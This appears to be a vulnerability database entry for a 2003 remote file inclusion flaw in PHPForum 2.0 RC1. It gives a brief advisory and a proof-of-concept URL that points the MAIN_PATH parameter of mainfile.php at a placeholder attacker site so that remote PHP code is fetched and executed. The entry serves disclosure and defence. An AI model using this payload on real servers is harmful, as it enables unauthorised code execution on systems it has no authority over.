PHPForum 2.0 RC1 - 'Mainfile.php' Remote File Inclusion

Author: theblacksheep
type: webapps
platform: php
port: 
date_added: 2003-07-10 
date_updated: 2016-12-22 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8158/info

phpForum is prone to a vulnerability that may permit remote attackers to include and execute malicious PHP scripts. This could be exploited to execute malicious PHP commands in the context of the web server process.

http://www.example.com/forum/mainfile.php?MAIN_PATH=[attacker's site]